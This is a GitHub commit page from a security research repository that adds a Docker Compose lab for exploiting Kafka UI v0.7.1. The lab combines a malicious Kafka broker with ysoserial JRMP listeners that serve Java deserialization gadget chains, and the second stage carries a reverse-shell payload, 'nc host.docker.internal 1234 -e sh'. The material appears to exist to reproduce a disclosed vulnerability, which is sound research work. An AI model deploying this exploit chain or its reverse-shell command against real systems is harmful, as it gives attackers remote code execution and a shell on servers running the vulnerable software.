8000 Merge pull request #830 from github/kafka-ui-setup · github/securitylab@4b6d7bb · GitHub
[go: up one dir, main page]
Skip to content

Commit 4b6d7bb

Browse files
artsploitartsploit
authored
Merge pull request #830 from github/kafka-ui-setup
Add kafkaui/compose.yml
2 parents a671d75 + 23d1cfc commit 4b6d7bb

File tree

1 file changed

+56
-0
lines changed

1 file changed

+56
-0
lines changed

‎SecurityExploits/kafkaui/compose.yml

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
version: '3'
2+
services:
3+
zookeeper:
4+
image: 'confluentinc/cp-zookeeper:7.6.1'
5+
environment:
6+
ZOOKEEPER_CLIENT_PORT: 2181
7+
8+
kafka:
9+
image: 'confluentinc/cp-kafka:7.6.1'
10+
depends_on:
11+
- zookeeper
12+
ports:
13+
- 9092:9092
14+
environment:
15+
KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181'
16+
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092
17+
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT
18+
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
19+
20+
kafka-ui:
21+
image: provectuslabs/kafka-ui:v0.7.1
22+
depends_on:
23+
- kafka
24+
ports:
25+
- 8091:8080
26+
- 5005:5005
27+
environment:
28+
KAFKA_CLUSTERS_0_NAME: local
29+
KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: 'kafka:9092'
30+
KAFKA_CLUSTERS_0_ZOOKEEPER: 'zookeeper:2181'
31+
DYNAMIC_CONFIG_ENABLED: 'true'
32+
JAVA_TOOL_OPTIONS: '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005'
33+
34+
kafka-malicious-broker:
35+
image: 'confluentinc/cp-kafka:7.6.1'
36+
depends_on:
37+
- zookeeper
38+
ports:
39+
- 9093:9093
40+
environment:
41+
KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181'
42+
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://host.docker.internal:9093
43+
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT
44+
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
45+
46+
ysoserial-stage1:
47+
build: https://github.com/artsploit/ysoserial.git#scala1
48+
ports:
49+
- 1718:1718
50+
entrypoint: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
51+
52+
ysoserial-stage2:
53+
build: https://github.com/artsploit/ysoserial.git#scala1
54+
ports:
55+
- 1719:1719
56+
entrypoint: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"

0 commit comments

Comments
 (0)
0